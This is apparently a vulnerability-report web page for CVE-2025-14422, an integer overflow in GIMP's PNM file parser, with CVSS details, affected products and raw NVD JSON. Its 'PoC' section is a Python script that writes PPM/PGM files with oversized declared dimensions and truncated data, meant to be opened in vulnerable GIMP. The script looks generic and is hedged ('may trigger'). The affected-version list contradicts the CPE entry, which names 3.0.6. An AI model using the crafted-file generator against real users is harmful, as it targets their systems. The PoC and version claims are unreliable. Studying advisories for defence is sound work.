Security Vulnerability Report
中文
CVE-2025-14422 CVSS 7.8 HIGH

CVE-2025-14422

Published: 2025-12-23 22:15:49
Last Modified: 2026-01-20 17:13:48

Description

GIMP PNM File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PNM files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28273.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.6:*:*:*:*:*:*:* - VULNERABLE
GIMP < 2.10.38
GIMP < 2.99.18
GIMP (all versions prior to security patch 4ff2d773d58064e6130495de498e440f4a6d5edb)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2025-14422: GIMP PNM File Parsing Integer Overflow This PoC generates a malicious PNM file that may trigger integer overflow in GIMP's PNM parser when width * height calculation overflows. Note: This is for educational and security research purposes only. """ import struct import sys def create_malicious_ppm(filename): """ Create a malicious PPM file with potentially overflowing dimensions. The P6 format: P6\n<width> <height>\n<maxval>\n<binary data> """ # Craft dimensions that could trigger integer overflow # Using large values that when multiplied may overflow width = 65536 # Large width value height = 65536 # Large height value maxval = 255 # Create PPM header header = f"P6\n{width} {height}\n{maxval}\n" # Generate minimal binary data (will cause buffer issues) # The parser expects width * height * 3 bytes, but we provide less binary_data = b'\x00' * 10 # Minimal data with open(filename, 'wb') as f: f.write(header.encode('ascii')) f.write(binary_data) print(f"[+] Created malicious PNM file: {filename}") print(f"[+] Header: {header.strip()}") print(f"[+] Binary data length: {len(binary_data)} bytes") print(f"[!] Expected data length: {width * height * 3} bytes") print(f"[!] This mismatch may trigger integer overflow in vulnerable versions") def create_malicious_pgm(filename): """ Create a malicious PGM file with overflowing parameters. The P5 format: P5\n<width> <height>\n<maxval>\n<binary data> """ width = 100000 height = 100000 maxval = 65535 header = f"P5\n{width} {height}\n{maxval}\n" binary_data = b'\x00' * 100 with open(filename, 'wb') as f: f.write(header.encode('ascii')) f.write(binary_data) print(f"[+] Created malicious PNM file: {filename}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-14422 PoC - GIMP PNM Integer Overflow") print("=" * 60) if len(sys.argv) > 1: filename = sys.argv[1] else: filename = "malicious.ppm" create_malicious_ppm(filename) print("\n[*] Usage: Open this file with vulnerable GIMP version") print("[*] Target: GIMP versions affected by CVE-2025-14422")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14422", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:49.290", "lastModified": "2026-01-20T17:13:47.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP PNM File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PNM files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28273."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "F9B29A73-05E5-438E-B994-61FBB133B6AC"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/4ff2d773d58064e6130495de498e440f4a6d5edb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1136/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}